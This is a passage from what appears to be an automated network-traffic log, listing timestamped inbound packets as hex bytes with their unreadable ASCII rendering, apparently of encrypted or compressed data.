2023-08-29 20:43:03 UTC	166	IN	Data Raw: 9d e5 3e 30 7a e1 f6 67 96 0c 3d c2 11 55 d3 f0 fc 9b 5e d9 63 eb ca 4b 7d d9 76 68 35 c5 a5 4a e5 4a 54 d4 ee 57 82 58 f8 08 b6 b3 cb 05 e6 c4 3b 5b b9 40 a1 23 30 c7 fc 6a 81 34 49 cf e2 48 58 f5 d7 29 5f d6 f3 0c 42 5d 71 3b 0c 81 14 12 31 f4 64 1e e3 48 6e a2 b2 70 7a 2f dd 67 0f b0 6d 32 98 b5 8c be b3 1d f7 8f 28 3c 76 2f 75 e0 7d f1 83 ae 2c 44 75 98 8d f6 03 94 7b 78 0b a8 a0 87 84 a8 7b af 67 16 c4 0b 30 30 98 13 8c ac f5 43 d2 d3 1d ad 60 76 1b eb 52 3e 09 a4 b7 ae 24 e6 15 25 53 5b 59 14 68 b6 17 06 d7 c8 7c 2d f9 54 a7 53 a2 42 fa df b3 82 1e f5 c7 44 d9 ba 19 48 7a 3d 8a f4 84 2e 7d 5a ee a5 54 69 20 45 2f 43 fd a1 72 b0 f2 e5 44 93 58 5c c1 63 41 dc d7 e4 7b 2f 53 4a bd 99 3c f1 67 75 e9 69 1a 78 ce 02 a6 28 39 00 41 f7 6d b1 6d 6d 38 c2 3b Data Ascii: >0zg=U^cK}vh5JJTWX;[@#0j4IHX)_B]q;1dHnpz/gm2(<v/u},Du{x{g00C`vR>$%S[Yh\|-TSBDHz=.}ZTi E/CrDX\cA{/SJ<guix(9Ammm8;
2023-08-29 20:43:03 UTC	168	IN	Data Raw: b5 3f 17 62 5b f3 20 bf ca d5 81 32 16 69 d2 e8 d3 d3 82 71 04 f3 9a d4 25 28 b3 b6 b5 a9 ab 85 2b c3 3f d2 51 df 66 67 4e 49 47 2b 62 65 a3 a4 ab 05 d1 c5 86 5c 60 0c b0 72 75 1e 27 3e 50 10 20 1e 47 81 a4 91 0a 98 fe 14 04 7b f5 8c 0b 7b e0 2a b6 5b 78 34 15 32 b9 38 1d cd 7f 7a 12 e6 df 90 64 4c 04 ad 40 c3 0d 67 2d d8 e2 31 a5 e0 b3 d7 b9 2a da 43 19 47 15 0f 81 c3 90 b5 a7 9d 13 99 e9 79 e9 03 9e 97 5a bc da 38 55 27 b3 90 05 cc f5 fb d4 9b cc 64 52 48 be 53 99 ac 31 7c f0 f5 a9 62 e5 02 91 f4 f0 ff 6c 06 fc 56 0d 87 65 80 4f 0d ed 11 8d 52 75 16 70 0a 5d ad 7d 0e 6e 8e c8 17 d2 ea db 0d 1e 52 b6 d9 47 f0 a0 7d 32 3b 2c 27 4b ee 01 20 05 71 9a de 2a 35 b5 70 67 e5 54 39 fb d0 99 a6 e8 93 49 e1 66 ce 78 d2 1a b0 9d 6f 40 ec 4b 0e 42 85 58 9b 7b 22 8f Data Ascii: ?b[ 2iq%(+?QfgNIG+be\`ru'>P G{{[x428zdL@g-1CGyZ8U'dRHS1\|blVeORup]}nRG}2;,'K q*5pgT9Ifxo@KBX{"
2023-08-29 20:43:03 UTC	169	IN	Data Raw: 85 b5 81 54 db 6d ae 91 ed 53 19 cd a9 46 35 d3 53 e3 47 49 cc ab 61 24 a3 49 1b dc 6d c4 89 2c 93 87 70 8f a4 e4 ca 48 20 ee f5 2a 5f e6 16 ba 65 bc a6 29 c8 46 9c 52 6e 5c 87 7b c8 1d 91 e0 dd 95 e5 8f 9a 6a 97 fe fb a2 56 31 22 46 42 b4 c2 90 f3 af 46 38 b2 ef 2d 21 63 b0 21 e5 10 fe 59 59 cc 45 73 ab 2b 41 7a a6 c6 35 47 83 86 e7 ea 47 03 6d 51 88 85 58 22 fe 58 81 37 e1 a1 31 20 64 e8 22 7e 7f 22 be 68 0b da 27 66 e2 d2 34 bf e6 fe 21 d4 dc 56 36 55 0e 59 e4 74 4c 92 81 3e 0c fe 7a ef 24 45 31 08 18 59 a1 36 71 93 64 67 a8 2a 00 a1 72 d9 99 40 2a 2a a4 e6 13 fc b7 2b 3f 56 3d d1 aa 9f 30 f0 57 a3 27 28 69 a2 32 91 78 9e 60 82 67 8e 91 f5 ba 0a a1 0d 60 db ba c2 a0 dc d3 10 cb e0 45 ee e7 87 80 bb 00 68 73 93 9e 0f f0 fd 6c 1a aa 47 45 a8 e2 15 2e fb Data Ascii: TmSF5SGIa$Im,pH _e)FRn\{jV1"FBF8-!c!YYEs+Az5GGmQX"X71 d"~"h'f4!V6UYtL>z$E1Y6qdgr@**+?V=0W'(i2x`g`EhslGE.
2023-08-29 20:43:03 UTC	170	IN	Data Raw: 46 54 1f c9 ae 9e fc fa 26 3a 20 9c 33 15 cd 82 31 bb 6b 3a 3b ce 3d 29 bf 20 6f 67 bc cd b8 7e f4 89 88 7b 67 71 47 e4 52 c5 f9 a0 90 6b 83 86 a7 70 d7 85 b9 a6 5e 07 68 c7 83 0c 18 2d 1c fb 7f 17 0d 45 e6 1d d5 a4 8c 01 9a b7 9c 90 fb 4d 4e 72 4c 44 1f 32 6e dd 0b 55 15 56 4a a8 ea af 36 1b 55 50 43 96 f0 ae 56 79 79 31 58 6e a8 ef 9d 9a 6e 4e eb dd e9 20 5b 4b 6a f2 1c 34 1c cf 29 4a 16 35 55 cb ad ed d9 16 1c 28 03 70 27 d2 c5 58 a3 6d d5 fd ac d3 8b 00 5a ee 68 03 94 70 ff d0 a7 b2 eb 0a 10 d8 92 b8 3d a7 e5 b1 8d bf 4d 16 7b ec 87 e6 be bb 1f d4 6d 3c 3e cf c9 1e d0 d0 4f b7 a4 b2 9e 2c f5 49 7c 6a a2 55 02 55 52 af dc 0a 2d eb 96 bc af 06 95 ac 02 6a de ec 24 9b 64 86 9e be fd dd af 11 f2 04 75 e8 cd bf b2 5f 22 8d 7d eb 57 8f 8e 43 8b 0c db 31 18 Data Ascii: FT&: 31k:;=) og~{gqGRkp^h-EMNrLD2nUVJ6UPCVyy1XnnN [Kj4)J5U(p'XmZhp=M{m<>O,I\|jUUR-j$du_"}WC1
2023-08-29 20:43:03 UTC	171	IN	Data Raw: 35 ff 65 ed 50 8f a9 9f ac 47 f2 09 4f f0 8e 5d 43 60 05 2e 52 1b 87 44 b2 28 82 e5 f5 14 43 82 55 8b 94 8b 4d 9c 53 b4 aa 50 bb 23 1f eb 17 17 64 c3 cc 47 7e e6 0e 46 1e c1 88 0f 90 a7 53 69 6b d4 be be 19 77 18 dd e8 8d 18 c7 4b 95 42 37 71 ac 42 4b 31 09 82 ab bd c2 12 97 ea ba aa ba 6a f5 08 67 66 73 62 55 43 3f 80 b4 79 cb 7e 8e f2 3e b5 7c 5b 30 76 e0 9f 8a 40 fa e3 06 1d 5c 4b 7c 83 44 6a 54 10 92 bd 57 ba b2 5b c3 d8 6d e5 91 e7 b5 59 5e b1 3c b5 3a a7 fa 49 d2 8b 9f d6 a6 8c c8 fb 13 36 cc 9f 9c 19 fe 42 34 94 89 1e 90 ee ab fc ce ac d9 2f 26 a9 c3 da a5 be 42 c1 a2 9b ed 45 ac fe 3a 05 77 f1 64 73 09 5c 3e 9b 26 fc d3 58 ec bb 4c 57 2e be d0 d1 86 8b 4b 45 7e 45 5d 72 fb 23 f9 ef 3d 08 ed 2e e2 02 c9 8d 17 0e 4e 26 58 40 e6 7e 44 6b 0d fa e6 5c Data Ascii: 5ePGO]C`.RD(CUMSP#dG~FSikwKB7qBK1jgfsbUC?y~>\|[0v@\K\|DjTW[mY^<:I6B4/&BE:wds\>&XLW.KE~E]r#=.N&X@~Dk\
2023-08-29 20:43:03 UTC	173	IN	Data Raw: d6 5f 17 b1 fd 35 c1 f1 bb fc 2a bc 14 10 87 40 3e af 74 12 4f 63 02 52 0e 12 6a f2 f3 f6 b5 87 95 00 81 58 31 94 80 e7 2d 54 c8 7c 88 57 23 df 54 63 0b 16 25 b9 4e 7d 43 b1 b7 93 cb da 6c 1e c9 e3 7c aa 5c fb 6c 78 3b bc 65 5f cb 1b e1 43 5f ba e1 a1 f9 42 dc 56 40 c7 ee b5 e2 67 ed fe 0b d4 17 95 d6 38 d9 c9 03 70 00 1e 29 a6 52 12 c1 90 fe 20 26 78 70 2a 6f 3f ab 00 80 73 75 e0 04 81 74 3f 67 9b 07 40 45 30 1e c8 47 d2 62 e6 df 6f 6b 43 41 e6 0e 8c 61 51 6e c3 be fc 35 6f 53 3b 27 71 a0 73 64 0c fc 4c ef a1 8d d6 15 25 30 69 b1 b5 60 e8 7b f4 4b f8 61 32 e2 5e 5b 1a cb f3 3f 26 34 de 80 11 0e cc 73 33 96 23 4f 7c 38 39 8a 93 23 41 d5 84 fb 8a 20 bc 25 e2 4a 73 fb a4 2f c5 19 07 b2 d5 3b f2 fc 56 ab be 6d 10 ac b3 b3 91 a5 98 d4 14 04 c0 88 bf e9 b2 78 Data Ascii: _5@>tOcRjX1-T\|W#Tc%N}Cl\|\lx;e_C_BV@g8p)R &xpo?sut?g@E0GbokCAaQn5oS;'qsdL%0i`{Ka2^[?&4s3#O\|89#A %Js/;Vmx
2023-08-29 20:43:03 UTC	174	IN	Data Raw: 27 61 32 21 20 b6 9a c0 ef 4f fb 3d 8c 49 5e 48 65 fd 12 b8 9b f4 2d dd 9e 8c b1 97 1c ca 10 aa 49 77 16 ce d0 43 2e 63 b7 1f be 59 29 60 d2 52 12 ac 55 a1 88 a4 5e 2f 57 3e ab 5e 8e 87 56 67 e8 b1 a0 36 9f d8 5e 94 90 36 15 6a 44 ba 50 3f 51 b8 88 68 ec 39 62 39 49 31 0c ce 79 d9 25 8f 20 7b c2 71 1e a4 dd db a4 0f 4b f7 26 2d e7 4a 8f 61 0b 84 d4 40 7d 5d 70 dc 41 cc e5 74 2a 61 ce 3d e2 0f f8 c4 c4 8c ea c4 9d fa fb b1 8e f1 b8 42 8e 17 b2 4a c8 bb 55 b7 5c 67 1a c1 30 51 d1 ee ff 0f 88 1a 49 20 ef 64 6e b2 a6 b5 d9 ba 8c b5 85 43 1d 25 33 3a 51 79 28 ac 4d 21 44 0b 99 67 3a 9b d2 17 5b 1f e4 f7 8b 17 1a 99 c2 ce 53 d3 bb 67 69 7e e8 f9 19 38 42 20 a7 8c 48 bb bd 9d fb 8f b2 ad 58 b6 48 e0 94 61 81 86 5e 15 39 5e de 28 09 f1 cf a0 4e f1 fb 5c 9b 9d ad Data Ascii: 'a2! O=I^He-IwC.cY)`RU^/W>^Vg6^6jDP?Qh9b9I1y% {qK&-Ja@}]pAt*a=BJU\g0QI dnC%3:Qy(M!Dg:[Sgi~8B HXHa^9^(N\
2023-08-29 20:43:03 UTC	175	IN	Data Raw: 95 4a c1 15 67 0f 77 d9 4f 92 76 d6 a5 40 66 c5 c9 db 69 fb 9f e8 12 a3 e8 5f 14 2f 28 8c 89 f2 62 5c 72 eb 3a 38 3f 13 53 cd 1c f9 a7 00 ce 2c 2b 60 17 98 55 03 a9 0c 2f 73 8b c9 93 9a 00 85 1a b4 13 07 09 c0 da 1b 76 a7 bc 2d 1a d5 8c b7 cc bd 35 87 3e 59 31 29 ac 16 b9 ac d2 3d 0e a0 69 08 74 4e af 3a c1 23 76 f3 97 42 94 cb b8 b4 f1 70 c3 65 d6 41 d0 e4 9a 04 f2 c5 be cb f7 ae 3d 3b 45 86 d4 d8 f9 51 0c da 0e 9d 85 ff 56 ff 2f f4 6c b8 c5 88 c7 96 f8 a9 93 b3 52 d9 58 28 d4 f5 ec e0 00 f7 f0 9d 4d e1 9a cf 79 02 4b ac 79 d4 8d 03 a7 49 c9 a6 3d 6f 8b 31 af cd 54 66 9d 5c 7c e2 98 d0 c7 c9 2b bd df 54 31 f2 b4 41 12 2e 31 23 49 d2 97 4d 16 ac 3a 20 63 1c ee ae 83 d4 18 c8 05 49 bd b7 8d 36 78 82 46 a3 f0 b6 fb 69 9e 45 25 a7 75 90 08 10 f0 90 55 3c 5d Data Ascii: JgwOv@fi_/(b\r:8?S,+`U/sv-5>Y1)=itN:#vBpeA=;EQV/lRX(MyKyI=o1Tf\\|+T1A.1#IM: cI6xFiE%uU<]
2023-08-29 20:43:03 UTC	176	IN	Data Raw: 3d 79 1b 6f a9 7b 59 c3 a3 9d b2 81 0b 66 5a 9b dc 5b 95 7d 22 09 47 63 76 19 c8 87 cd 3f f3 96 c3 4a 8b ee 78 0d 14 4e c4 e9 c0 8f 9e ab a9 8d 7f 4d 45 63 ca f8 b5 7e 29 8f d8 12 ce aa 90 b9 46 ff 71 87 40 8a 8c 7a d0 3b cf 63 96 61 1f 98 57 b0 48 67 fd 64 92 58 f0 f1 8d 4b 3f 7e 60 89 43 ec ad 26 56 1f 73 9f 54 ec ba 60 8f f5 05 31 cc a9 4a 3c 14 41 1b bf d2 e0 42 e7 b4 14 59 26 70 10 ff 76 0d 89 d1 06 ff 9c f7 a6 7e cb 30 3b 0c f3 ab c1 b8 ba f4 02 77 82 bf d1 d2 09 20 34 04 f5 f7 45 d2 41 8c ec a5 35 dd 83 95 2d 33 97 f4 db 13 4f b3 10 81 d2 a3 e0 62 d8 d4 92 62 e4 24 a2 37 f6 f9 84 da 4a cd ba af 43 5c cd e8 08 34 98 19 79 64 a2 bf ec b9 c4 ff 73 9c 7a cd e6 81 79 99 0d 82 ba 32 54 20 a1 83 18 e2 07 19 d9 66 70 63 fe f2 05 f7 71 1c 6f db e1 85 00 24 Data Ascii: =yo{YfZ[}"Gcv?JxNMEc~)Fq@z;caWHgdXK?~`C&VsT`1J<ABY&pv~0;w 4EA5-3Obb$7JC\4ydszy2T fpcqo$
2023-08-29 20:43:03 UTC	177	IN	Data Raw: 2c e5 aa 8b e7 f0 bc e3 35 fe 0f a1 4b c9 0b c9 d7 80 88 36 11 01 d0 10 94 32 bd 45 49 c7 6d d4 37 0d f3 15 27 d8 0b 34 3f 39 0b 34 bf fa 9b 6d f5 32 b3 57 d0 17 bd 03 4d a7 c5 52 81 b1 45 ea 22 bf fb 53 d0 bf b7 15 f1 d6 08 1a 06 a8 3e 13 23 7d d6 dc 5f 47 9c 64 75 76 4e 66 5c 29 87 ef ca 2a d5 25 d7 6d 07 91 ab 05 0b 36 Data Ascii: ,5K62EIm7'4?94m2WMRE"S>#}_GduvNf\)*%m6
2023-08-29 20:43:03 UTC	178	IN	Data Raw: a9 12 ab 3d ff 6c a9 ab db b1 d2 a0 69 3a 81 42 33 fb 54 db ac ef e6 4b 87 5b 0d 24 9e 1c 5e d3 6f 00 d5 cc 21 5a 9f b7 6c 70 04 ba 21 57 7f 42 83 da f4 d9 de 26 74 e3 0f 84 a4 30 d4 1c ce 3d 3b 98 f2 c7 12 4d 81 b4 3b bd 4d 04 eb 95 00 4b bc b9 c3 52 a5 e1 fe 45 d1 51 4b 0e 34 7f 2e e5 ff fb e7 a1 79 4e 69 b0 75 dd 6e 77 2c aa e0 b0 24 41 d6 4b d3 96 a0 17 7a fe 3e e1 bc f3 c8 cc ba 8b b6 d8 a2 cc d5 b1 f6 58 29 14 39 8c 34 e8 35 ff 80 38 69 09 bf f3 6a 0e c0 14 2e ba ad 66 f0 3d ec f9 bb 7b 86 da f9 82 66 ee af 80 0e e0 6e 8a 88 fe b0 b4 b2 97 40 c4 fa 1c 3f 03 1a 28 e9 6c ce 85 22 07 f2 a1 5c c1 79 24 04 37 cf f3 b9 4c 29 04 8c b7 91 8b 20 ac 61 1d 8a 64 00 cf ec 61 df d9 11 18 80 88 ea c0 1a 68 17 ca 54 db 99 4b 4d 37 33 6a 3e fb 62 94 c4 55 9b cb 13 Data Ascii: =li:B3TK[$^o!Zlp!WB&t0=;M;MKREQK4.yNiunw,$AKz>X)9458ij.f={fn@?(l"\y$7L) adahTKM73j>bU
2023-08-29 20:43:03 UTC	179	IN	Data Raw: f8 82 16 e7 bf 1d 87 15 a2 66 0d af 6f 19 2b 27 87 22 e3 76 3e 52 aa 56 45 cf 6f 0c 80 18 bc 65 46 fd 25 09 9c e0 66 17 a0 97 56 47 b3 f2 ca 24 74 74 69 51 bb 18 e0 61 72 fa 20 df 10 ef 80 37 0f 19 b4 ac 0e 7d 80 81 25 68 f3 33 b0 83 19 65 da 1e b0 fc 48 e7 72 a8 51 a8 a6 ca d8 1a b4 8b ea 88 bf c5 e8 19 ca 2b c6 19 be df eb c8 9c 23 e0 11 4f a1 2b 13 7a 86 9f be 46 55 70 a8 90 01 35 08 2d 54 49 f7 9c 91 f1 22 73 9a eb 8a df 22 c2 b6 35 6e 39 1f 83 2c 36 f2 bf d6 80 e8 39 ea 06 3d 7a 4e 95 56 fa 1c 93 2a 0a 7a 80 11 af d3 71 1a 75 2e fe 6b 72 81 ce dc db f0 99 02 69 01 b8 79 b0 9f b5 73 4c 17 dd c6 8f d3 02 6a ca 03 8c 7a ff 75 4a 97 d1 b6 c7 79 65 f5 3b 67 8a b5 87 ae eb ba 64 d2 8b c3 75 50 15 3e 99 da 9d d5 42 65 a9 b3 da fc 5b 0b 12 9c bf 72 5d ce 1d Data Ascii: fo+'"v>RVEoeF%fVG$ttiQar 7}%h3eHrQ+#O+zFUp5-TI"s"5n9,69=zNV*zqu.kriysLjzuJye;gduP>Be[r]
2023-08-29 20:43:03 UTC	180	IN	Data Raw: 35 1a d2 6d 67 98 80 70 0b 73 10 e4 4d 7c 50 67 b3 fc a7 6f 21 5d 0d b8 f9 a1 7d 10 1f 99 cd 02 d4 03 70 67 d8 e6 fa 16 e3 5b ce af 37 20 6e 08 1f 0a 54 fc 6e 9e 50 93 15 b2 02 e2 20 47 60 b5 e2 1a a8 4c 86 be 27 b5 2e ba 92 79 b9 9c e9 c5 b2 cf 7a 73 2d e6 2a fb de 1e b9 42 85 25 da 0d 99 77 90 08 09 62 b6 c1 d5 24 2e bd 5c 96 d9 3c 66 19 71 0e 48 3d 59 df 2c 78 ed f7 0a a7 cf 3a ef ef f7 1a af e3 c5 52 95 3f d6 86 78 8e 1b 6c 63 10 13 8b d4 ec 0e aa 75 74 1b 44 37 92 7d 2f 72 aa 5b b9 3a 46 a3 c2 e2 5f 69 35 e3 28 1c c1 c7 7f 4f 03 79 46 31 98 d0 62 83 46 43 c8 cb 98 37 04 c6 ec ae b7 90 d0 2c e6 a6 2f d1 ba 94 0b b9 2d 56 3e 63 3f 9c 4f 2b c0 8f 94 00 eb 16 89 6d d4 bf 1d 2b 06 af 89 f0 7e 46 13 b8 db 22 13 6b b5 43 e7 b0 9b ab 90 c5 19 d3 74 1e 67 bc Data Ascii: 5mgpsM\|Pgo!]}pg[7 nTnP G`L'.yzs-*B%wb$.\<fqH=Y,x:R?xlcutD7}/r[:F_i5(OyF1bFC7,/-V>c?O+m+~F"kCtg
2023-08-29 20:43:03 UTC	181	IN	Data Raw: e2 09 f7 6e 38 2f 74 62 93 d2 c5 47 fd 95 0a 37 ed 09 1c 0f 07 79 97 1d 9a 9c 4e d2 7f 72 44 eb 53 a2 07 83 47 95 90 ff e5 c1 83 90 92 46 7a 44 58 50 03 40 c2 a6 b1 58 4d 4a dc 41 96 70 7e 42 60 87 6b 72 3d e0 0e c9 0e c1 2b bb 5c 3a 78 31 86 3d 3c a1 2b e8 d9 04 cf 10 fe 7e 0a d6 96 c3 e4 ba c8 21 e1 ef 94 06 ed 24 f7 0e 42 ba 37 3b 77 21 5d 5f 4f 49 a7 55 75 7a 51 5f 3d 26 99 e1 4b cc 35 b8 e5 24 01 eb 0c fb 3e 3c 0a 9b 5f 69 39 19 e6 f1 10 e1 1b b3 64 37 04 96 79 3f a2 d6 79 7a b5 38 83 c6 1c 2e f1 48 c4 63 0a f2 12 47 ca f0 00 3f 35 08 89 bb 32 0a 8d 94 24 33 bf 25 2f 0c f8 f2 14 54 a6 cc 5a 86 56 e4 a9 a8 aa 00 ff c7 28 ae 85 c0 31 87 1f e5 84 5e 40 49 41 c3 dd 11 28 5c 01 da 02 0f fb 01 46 db a1 1e 76 df 90 25 78 10 49 ba ff 28 39 fd 7c 6d 28 39 f0 Data Ascii: n8/tbG7yNrDSGFzDXP@XMJAp~B`kr=+\:x1=<+~!$B7;w!]_OIUuzQ_=&K5$><_i9d7y?yz8.HcG?52$3%/TZV(1^@IA(\Fv%xI(9\|m(9
2023-08-29 20:43:03 UTC	182	IN	Data Raw: 57 24 bd 2e 63 f3 00 1d cc 9c 00 05 2d c4 0d 9b 3c 84 e5 4f a8 d1 ff 15 b1 17 ff da f2 98 29 01 70 dd ff be e0 7b 66 e6 81 41 f4 3d 00 ef ef f4 48 5f 1d d1 51 8d 0f 52 f6 b8 29 55 3f b7 b1 a3 1c ce 21 13 16 c2 ef 64 4a dc 98 c2 f4 30 d0 63 e4 ab 07 a7 ca 60 94 2a 43 26 0a 72 b6 19 99 69 0d 76 bf d9 3c 3b 18 96 eb b3 2f a1 10 73 e4 6c f0 c4 a8 83 39 6d 8b 2c f5 88 d2 0c ec 55 6b 9c 96 e6 32 c3 cf 2c 46 d9 d0 b2 a9 87 84 fa cd fb 9d 61 d5 1d 9a 67 c3 2b ea 29 5e 06 f9 65 2a 9c 0b de b3 af aa cd 09 df 4a c9 12 7b 7a 75 d4 54 36 26 f9 fb 5e 3f e9 88 d6 c1 55 03 93 7e 3b 81 c8 04 f4 3e c0 a2 7a 72 97 f8 80 91 51 d4 d3 74 45 9a 3c 70 9e 32 54 d5 37 ac 24 8f 6a 59 be 7b 32 fe 0f 7d 88 3c 25 de 1a 73 31 52 2b 9b 4a b9 f1 9d 4e 38 0e 32 42 26 da 28 43 1b 40 a2 97 Data Ascii: W$.c-<O)p{fA=H_QR)U?!dJ0c`C&riv<;/sl9m,Uk2,Fag+)^eJ{zuT6&^?U~;>zrQtE<p2T7$jY{2}<%s1R+JN82B&(C@
2023-08-29 20:43:03 UTC	184	IN	Data Raw: ac 39 04 a3 84 86 43 40 70 69 8e 63 c0 9c 67 c3 da a2 51 39 d8 b8 03 fa a9 7a e6 94 56 a6 26 e9 f2 f9 70 d6 6a 17 29 af 21 48 83 ea 19 31 4a 42 6f 0c fb e4 c8 1f ff 8b c9 b2 0a 0c fa b5 2d 40 0a 61 1a bc 94 b7 8a c4 e4 6b 1e 90 7e 90 19 5f 85 7d 75 87 02 a9 b5 fc f2 21 96 9b 84 fd a8 ed 7f 49 de 89 71 e7 3f 7b 7b 44 54 7f 31 5f 84 76 06 04 b2 31 6c 96 84 4b 1f 9e 8c 8c ab b2 27 b4 4a a3 1b 89 07 ca b1 d5 d1 9b 48 2e 05 80 39 99 b2 86 91 04 65 d8 a7 79 79 33 12 ac f4 fe 86 00 03 dc 5b 45 f2 a0 bc 10 22 1e 9a af f8 d9 0a b9 47 c5 24 2b 12 1f 44 2e d7 72 f2 de 1b 0b 3c 0f bf 11 97 0b bf be 15 79 cf a5 4b 6a fc 2a 19 61 31 dc 29 ae 4e e5 d0 5f 1b 0e 01 02 69 71 c0 69 df b5 33 2a 6c 7c 90 6b 10 ac 17 2a fb 52 cf 1f ce 39 bc 2b 2e ad d9 f7 67 6a c0 31 d2 48 54 Data Ascii: 9C@picgQ9zV&pj)!H1JBo-@ak~_}u!Iq?{{DT1_v1lK'JH.9eyy3[E"G$+D.r<yKja1)N_iqi3l\|k*R9+.gj1HT
2023-08-29 20:43:03 UTC	185	IN	Data Raw: 8e d7 b7 c6 87 5d 62 4e 10 3b f2 5a 89 2c 05 ef 7c 5f 20 62 cd e6 bd b4 28 9e 21 87 9e f5 cb fb 58 3a 6b 63 36 ff ed bc d0 02 7d 95 f3 b4 90 c0 9d d2 08 88 3c fd 36 4d 0c be e1 df e7 03 a0 10 22 a1 bf 2d 3f 0f d7 56 47 6c d5 07 33 cd 00 1d c3 e7 ca 77 f5 d4 98 0d 72 fb 7c f6 24 de f8 73 09 e7 b3 70 81 8d 84 4b 3e 6d 83 6d 86 db 35 dd 4e 39 d1 36 c2 12 95 af 5f 4a 08 51 02 0a 3a 5d 8e 7d 94 df 1c 96 62 95 12 1a b6 57 2b d4 42 2f d8 35 13 e6 96 6d 99 a8 05 66 dd 53 28 a1 8f 0a b8 51 8e 46 be cf cc e8 65 91 77 45 db 40 35 ac 8b ca 49 49 71 36 0b 78 d7 d1 28 96 ee 71 07 c9 5d 73 6c ab ff e6 8c ee d7 0a e9 3d 3f 13 2b 54 21 b3 34 f9 49 33 b9 8e 50 f6 02 14 11 42 f5 fd 1e c5 8c a7 0e e8 01 dd bf 80 51 1b fa 4c 0e 63 c5 aa e9 8c da 09 91 68 c3 62 d8 a1 28 d1 13 Data Ascii: ]bN;Z,\|_ b(!X:kc6}<6M"-?VGl3wr\|$spK>mm5N96_JQ:]}bW+B/5mfS(QFewE@5IIq6x(q]sl=?+T!4I3PBQLchb(
2023-08-29 20:43:03 UTC	186	IN	Data Raw: b1 f8 bc 49 f3 0a 82 21 d2 38 04 41 52 46 fc 99 1b 1f b2 40 6b a3 fe f9 75 9b d1 79 56 74 91 e9 9e 00 91 88 b0 a4 d7 fa 7b f3 54 cc 79 b1 5c a7 a5 d6 af e7 7f 37 23 e3 50 da 1a 8b 61 0c dd a0 8a 98 13 2e b7 83 28 40 af c9 d7 40 d8 0c 96 38 f7 0d f2 7c a2 22 41 41 a9 33 f1 91 a4 98 14 d4 02 ff 01 5c 47 b5 e1 4c 59 98 d6 85 25 68 0b ae 80 13 b5 db ea 1e 62 ad c1 0c e7 42 50 9a 75 bf d9 ee 45 4c 46 d8 9a 41 12 9d cf d0 f4 24 9c 9a 62 a2 82 11 cd 1a 37 02 79 6b 88 8d 29 3c 4e 83 14 6a 80 8b 38 f4 8a e7 23 d5 a4 63 67 3f 8e 40 40 31 6a 06 4c 25 4d 7a f4 e8 bd 99 bf db 6e c1 4e 48 0c 87 55 30 dd 0b b2 30 2e 53 dd 3f ca c7 21 4e a9 ab 82 ab 69 3d 68 4e 9c 8b ff 91 37 0e 4c 05 a0 5d 6a f8 a0 19 37 e4 23 1e 05 d0 93 dc a9 6a 26 1f 76 a3 78 08 d0 74 44 ab a4 7d 57 Data Ascii: I!8ARF@kuyVt{Ty\7#Pa.(@@8\|"AA3\GLY%hbBPuELFA$b7yk)<Nj8#cg?@@1jL%MznNHU00.S?!Ni=hN7L]j7#j&vxtD}W
2023-08-29 20:43:03 UTC	187	IN	Data Raw: 9b 36 7c 97 7d 09 b7 65 ca d5 f1 eb 2f c3 9a e4 da 7a 94 fe d5 a5 b0 e3 52 e5 d0 b6 51 d8 0d dd 39 9f 9e d3 e6 e7 5f 6a 1a 3f 0f d4 49 f3 5e 23 85 ba c1 cb 55 84 db b6 0e 92 55 a8 48 4d 8b 0a b3 18 a5 d7 a0 29 3b 74 4d 64 ad 28 92 b5 18 df f4 f0 2f 23 51 6d d0 cf 51 d1 bb 2e d5 44 57 81 ee 57 18 64 44 5b f7 6a 8e 17 3f b4 ab 55 61 d8 6e b7 ce 1e fd 57 80 ce 1c b1 76 02 82 f7 af 62 f1 0d 58 a4 6e da 39 2e 5e 3a 3d f4 5d 0d 46 46 6f a8 e3 6a 73 be 63 8b b7 2e 0c e3 18 39 2a ff 81 8f fc 34 93 8c 8a 6d 04 ce 2a 3e 9c da f1 81 98 86 bd f6 23 2b b7 8e cf a7 e5 16 20 32 6f 7b 21 0b f8 ae 6b 78 2c c6 13 59 08 19 0b 6e ec 52 ea 1a 32 94 a3 5a a0 8c a5 5e be c6 7c 89 1d 3a 88 01 bf 0d d9 33 dd b3 6d 63 91 b4 fc 30 0c 19 35 f8 92 32 fe 53 c3 22 c7 3a bd f6 ff 90 50 Data Ascii: 6\|}e/zRQ9_j?I^#UUHM);tMd(/#QmQ.DWWdD[j?UanWvbXn9.^:=]FFojsc.94m>#+ 2o{!kx,YnR2Z^\|:3mc052S":P
2023-08-29 20:43:03 UTC	189	IN	Data Raw: 40 b1 8c 75 a2 45 90 28 a3 3d 1a 8e 47 68 28 66 f2 46 32 c7 83 a7 70 11 a2 02 84 65 64 a1 31 fb 85 be 6a c1 ea 18 4e ae 1f 74 12 8b 0f 58 b5 41 5b 59 1c 51 b8 de 7b 65 a0 fc dc 9b 1d 56 1b c6 90 14 65 e4 75 7c 7e cb 3c a6 4f e2 44 ab 84 e2 0d 60 f7 24 9f 70 db 61 20 02 71 1a b5 97 f4 50 45 ac d6 90 da 2a b3 06 10 07 a8 25 f1 14 47 e8 75 b5 3d ce bc fc be e3 30 ec fc 75 bd 9d 11 c0 5c 83 d9 7f 99 52 a2 22 d7 a9 84 d8 5e 3a 92 72 81 e8 02 ed a2 98 c4 4a e4 e9 a1 b8 a3 25 31 69 03 90 59 d8 2f 32 af 22 bd 35 8c a1 1e 80 15 50 6a 62 51 71 6c 8f a2 74 87 b3 8b 99 f8 74 e3 e4 5d 01 5d 3c f8 96 e5 5e 6e 1d f4 d5 2e 82 08 5f 0c 87 83 78 e9 83 9e a6 b0 45 54 a5 79 94 eb e3 42 f0 43 a5 73 fc 6b 83 d9 3e cf c9 31 64 a5 48 fa 70 2c 5f 29 be 3d 6d b5 5f 8f 6f b6 1a 4e Data Ascii: @uE(=Gh(fF2ped1jNtXA[YQ{eVeu\|~<OD`$pa qPE*%Gu=0u\R"^:rJ%1iY/2"5PjbQqltt]]<^n._xETyBCsk>1dHp,_)=m_oN
